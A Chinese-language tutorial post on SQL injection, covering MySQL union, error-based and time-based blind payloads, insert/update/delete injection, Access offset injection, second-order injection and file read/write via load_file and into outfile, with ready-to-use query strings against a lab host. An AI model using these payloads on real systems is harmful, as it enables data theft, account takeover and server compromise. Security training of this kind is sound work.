zoukankan      html  css  js  c++  java
  • 渗透之路基础 -- SQL注入

    mysql注入(上)

    ​ 获取字段数:order by x 去临界值
    ​ 获取数据库名:database()
    ​ 获取数据库版本:version()

    ​ information_schema : mysql5.0版本以上自带数据库,记录当前mysql下的所有数据库名,表名,列名。
    ​ information_schema.tables : 记录表名信息的表
    ​ information_schema.columns : 记录列名信息的表

    ​ table_name 表名
    ​ column_name 列名
    ​ schema_tables 数据库名

    ​ 数据库 "." 代表下一级的意思

    limit 有两个参数 limit 2,3 表示从2开始查3条

    通过MySql内置数据库获取表名

    union select 1,group_concat(table_name),user(),4,5,6,7 from information_schema.tables where table_schema=database()
    

    通过MySql内置数据库获取表名对应的列名

    union select 1,group_concat(column_name),user(),4,5,6,7 from information_schema.columns where table_name='users'
    

    mysql注入(中)

    ​ 数据库用户 user()
    ​ 操作系统 @@version_compile_os

    SQL常用函数

    函数名称 函数说明
    MID(要截取的字符串,起始位置,结束位置) 截取字符串
    CHAR(ASCII) 返回ASCII码对应的字符
    ASCII(字符) 返回字符对应的ASCII码
    IF(逻辑表达式,返回值1,返回值2) 用于判断
    SUBSTR(要截取的字符串,起始位置,结束位置) 截取字符串
    LENGTH(字符串) 返回字符串长度
    COUNT(列名) 返回当前列名下有效记录数
    SLEEP(s) 静止s秒,数字类型,可自定义
    #、/**/、-- 注释符
    CONCAT(字符串1,字符串2..) 拼接字符串
    LOAD_FILE(文件名称) 加载文件
    INTO OUTFILE ‘文件名称’ 输出

    常用十大报错函数

    1.floor()

    select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    2.extractvalue()

    select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    3.updatexml()

    select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

    4.geometrycollection()

    select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

    5.multipoint()

    select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

    6.polygon()

    select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

    7.multipolygon()

    select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

    8.linestring()

    select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

    9.multilinestring()

    select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

    10.exp()

    select * from test where id=1 and exp(~(select * from(select user())a));

    mysql注入文件操作(root权限)

    load_file() 文件读取 |select load_file('C:/xx');

    ​ 添加普通用户

    insert into mysql.user(Host,User,Password) values('127.0.0.1','user',passwrod('user'));

    CREATE USER 'user'@'%' IDENTIFIED BY 'user';

    ​ 赋予权限 GRANT ALL ON book.* TO 'user'@'%';

    ​ 删除用户 drop user 'user'@'%'

    root 用户下的读取
    在这里插入图片描述
    user 用户下读取
    在这里插入图片描述
    读取不到文件检查secure_file_priv:
    1561517724835

    show global variables like '%secure%
    

    修改mysql.ini 文件,在[mysqld] 下加入

    secure_file_priv =

    重启mysql
    在这里插入图片描述

    into outfile ' ' 写入函数 |select '123' into outfile 'C:/xx';

    ​ 网站路径获取
    ​ 1、报错显示 warning
    ​ 2、谷歌黑客
    ​ 3、读取配置文件
    ​ 4、漏洞报错
    ​ 5、遗留文件
    ​ 6、字典猜解

    注意路径符号及编码

    ​ 转换工具(小葵多功能转换工具)

    mysql注入(下)

    ​ 防注入,
    ​ 魔术引号 magic_quotes_gpc
    1561518442746
    1561518515419

    安全函数 addslashes
    1561519355452解决:编码绕过或宽字节注入

    ​ 高权限跨库注入
    ​ 条件:root权限
    ​ 获取所有数据库名
    ​ select schema_name from information_schema.schemata
    1561519889981

    被转义,利用十六进制转换

    获取所有表名 table_schema=0x787373('xss')

    http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,table_name,5,6,7,8 from information_schema.tables where table_schema=0x787373
    

    获取所有列名 table_name=0x6F635F75736572('oc_user')

    http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,column_name,5,6,7,8 from information_schema.columns where table_name=0x6F635F75736572
    

    获取指定数据 from xss.oc_user

    http://192.168.207.128/test/sqlin.php?x=1 union select userName,2,3,userPwd,5,6,7,8 from xss.oc_user
    

    在这里插入图片描述

    注意点
    跨库查表:库名.表名

    提交方式注入

    <?php
    	$a=$_GET['x'];		// 接受get请求方式的参数x
    	$b=$_POST['y'];		// 接受post请求方式的参数y
    	$c=$_COOKIE['z'];	// 接受cookie请求方式参数z
    	echo $a."<hr>";
    	echo $b."<hr>";
    	echo $c."<hr>";
    ?>
    

    1561526408749
    1561526428014

    POST登录框注入

    ​ 可以将注入代码写入输入框

    COOKIE验证注入

    ​ (burp抓包)

    HTTP头注入

    实际情况下,有部分站点接受数据是以http数据包中的http头部进去的数据接受,所以测试注入需要在头进行注入

    例如源码为:在这里插入图片描述
    在这里插入图片描述

    通过burp修改 http 头注入
    在这里插入图片描述
    在这里插入图片描述

    参数类型注入

    ​ 数字,字符,搜索型

    ​ 数字型:
    ​ id = 1
    ​ 字符:
    ​ id = 'admin' //单引号的处理

    ​ 搜索型:
    ​ id like '%admin%'
    ​ 组合:id = admin%' union select 1,2 '%

    参数加解密注入

    ​ base64

    假设源码:

    $id=base64_decode($_GET['x']);
    

    在这里插入图片描述
    在这里插入图片描述

    转换之后 1 的base64为 MQ==

    在这里插入图片描述

    加密注入,需要将注入代码通过base64加后注入

    1 union select userName,2,3,userPwd,5,6,7,8 from xss.oc_user
    # base64加密后
    MSB1bmlvbiBzZWxlY3QgdXNlck5hbWUsMiwzLHVzZXJQd2QsNSw2LDcsOCBmcm9tIHhzcy5vY191c2Vy
    

    在这里插入图片描述

    盲注攻击

    ​ 普通联合注入和盲注区别
    ​ pt:效率高,兼容差
    ​ 盲注:效率较低,兼容性强
    ​ 工具采用的基本为盲注

    ​ 盲注通过if + >或< 二分法提高效率

    --基于时间的延迟注入(上)

    sleep()

    select * from users where user_id=1 and sleep(1);
    

    在这里插入图片描述

    if(条件,True,False)

    在这里插入图片描述

    mid(str,1,1) 截取

    在这里插入图片描述

    ord 编码(ascii)

    length 长度

    在这里插入图片描述

    应用

    在这里插入图片描述

    http://192.168.207.128/test/sqlin.php?x=1 and sleep(if((select database()='dvwa'),0,5))
    

    若没猜对数据库名,则会延迟

    在这里插入图片描述

    --基于时间的延迟注入(下)

    猜表名:

    length 长度

    http://192.168.207.128/test/sqlin.php?x=1 union select 1,2,3,sleep(if(length(table_name)=4,0,5)),5,6,7,8 from 
    information_schema.tables where table_schema=database() limit 0,1
    # limit 分页
    

    在这里插入图片描述

    mid(str,1,1) 截取

    在这里插入图片描述

    # 表全名称为 users
    # mid(str,1,1) 从第一位开始截取一个字符
    select mid(table_name,1,1) from information_schema.tables where table_schema=database() limit 1,1;
    

    ord 编码(ascii)

    在这里插入图片描述

    # 结合mid截取出的字符 以ASCII码输出
    # 表名 users
    select ord(mid(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1;
    

    综合应用

    # 用字符验证
    union select 1,2,3,sleep(if(mid(table_name,1,1)='a',0,5)) from 
    information_schema.tables where table_schema=database() limit 0,1
    
    # 用ASCII验证
    union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97,0,5)) from 
    information_schema.tables where table_schema=database() limit 0,1
    

    猜列名类似

    --基于布尔逻辑注入

    --基于报错提示注入

    参考文章https://websec.ca/kb/sql_injection

    insert注入

    $user=$_GET['u'];
    $sql="INSERT INTO users (id,username,password) values (2,'$user','123456')";
    Mysql_query($sql);
    

    利用updatexml()获取数据
    利用extractvalue()获取数据
    利用name_const()获取数据
    利用子查询注入获取数据

    or updatexml(1,concat(0x7e,(version())),0) or
    insert into users (id,username,password) values (2,'admin' or updatexml(1,concat(0x7e,(version())),0) or'','Nervo');
    
    or extractvalue(1,concat(0x7e,database())) or
    
    or (select * from (select(name_const(version(),1)),name_const(version(),1))a) or
    

    update注入

    ​ 用户注册,密码修改,信息删除

    ​ 1、sql注入组合拼接,保证sql语句正常运行
    ​ 2、sql语句中闭合使用(符号或截断)
    ​ 3、每个不同注入方式和网站应用功能有关

    update users set password='nicky' or
    updatexml(2,concat(0x7e,(version())),0) or'' where id=2 and username='user';
    
    update users set password='nicky' or
    extractvalue(1,concat(0x7e,database())) or'' where id=2 and username='user';
    
    update users set password='nicky' or
    (select * from (select(name_const(version(),1)),name_const(version(),1))a) or'' where id=2 and username='user';
    

    delete limit 注入

    delete from users where id=2 or update users set password='nicky' or'';
    
    delete from users where id=2 or extractvalue(1,concat(0x7e,database())) or'';
    
    delete from users where id=2 or (select * from (select(name_const(version(),1)),name_const(version(),1))a) or'';
    

    Access 联合及逐字猜解

    <%
    	id=request("id")
      	sql="select * from product where id="&id
      	set rs=conn.execute(sql)
    %>
    

    ​ 1、猜解同mysql
    ​ 猜不到:
    ​ 字典收集(社工)
    ​ Access 偏移注入
    ​ 猜解字典工具:明小子Domain

    ​ 2、access 攻击片段--逐字猜解 // 兼容好
    ​ 查表:and exists (select * from 表名)
    ​ 查列:and exists (select 列名 from 表名)
    ​ 查数据:
    ​ 1、确定长度
    ​ 2、确定asc数据(asc编码)

    and (select top 1 len(列名) from admin)=5
    and (select top 1 asc(mid(列名,位数,1)) from admin)=97
    

    ​ 工具 啊 D

    注入工具

    ​ 啊D,明小子,穿山甲,萝卜头havij,sqlmap

    Access 常见复杂及问题注入

    ​ 表名,列名无法获取
    ​ 1、社工,对比网站url
    ​ www.xxx.com/pw_news.asp
    ​ 表名:pw_admin,pw_manage,pw_system

    ​ 2、列名无法获取
    ​ access偏移注入,社工,后台源码中参数名
    在这里插入图片描述
    工具制作原理

    ​ 字典爆破,逐字猜解

    偏移注入:表名知道即可

    ​ 1、用 “*” 代替字段,
    在这里插入图片描述
    ​ select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 逐个删除,
    在这里插入图片描述
    在这里插入图片描述
    * 可以看作字段数

    ​ * = 6个字符
    ​ 2 x * = 12字符
    ​ 22 - 12=10 字符

    若在减6个 还是不出现
    在这里插入图片描述
    添加一句:from (admin as a inner join admin as b on a.id=b.id)(一级注入)
    在这里插入图片描述

    一级偏移

    select 1,2,3,4,5,6,7,8,9,10 from (admin as a inner join admin as b on a.id=b.id)
    

    二级偏移

    select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
    

    在这里插入图片描述

    经典二次注入

    在这里插入图片描述
    ​ 注册用户,修改密码
    ​ 修改密码语句基本为,
    ​ update users set password='111111' where username='test' and password='123456'

    ​ 存在二次注入:
    ​ test为攻击目标用户
    ​ 提前注册好 用户名为 test'#
    ​ 直接修改任意用户
    ​ 语句为:update users set password='111111' where username='test' #' and password='123'
    ​ 原理:# 截断,后面语句失效

    MSSQL注入点攻击分类

    分注入点权限渗透:思路

    sa权限

    执行命令 文件管理 数据库管理等

    拿shell

    ​ 文件列举及写入

    ​ 密码获取后台拿shell

    ​ 执行命令提权

    db权限

    文件读取 单个数据库管理

    ​ 密码获取后台拿shell

    public权限

    单个数据库管理

    ​ 密码获取后台拿shell

  • 相关阅读:
    yii框架原生代码
    分库分表
    get和post的区别
    echo print() print_r() var_dump()的区别
    cookie 和session 的区别
    memcached 常用命令及使用说明
    解决高并发
    C# 使用NLog记录日志
    CREATE DATABASE permission denied in database 'master'.
    No 'Access-Control-Allow-Origin' header is present on the requested resource.
  • 原文地址:https://www.cnblogs.com/r0ckysec/p/11406711.html
Copyright © 2011-2022 走看看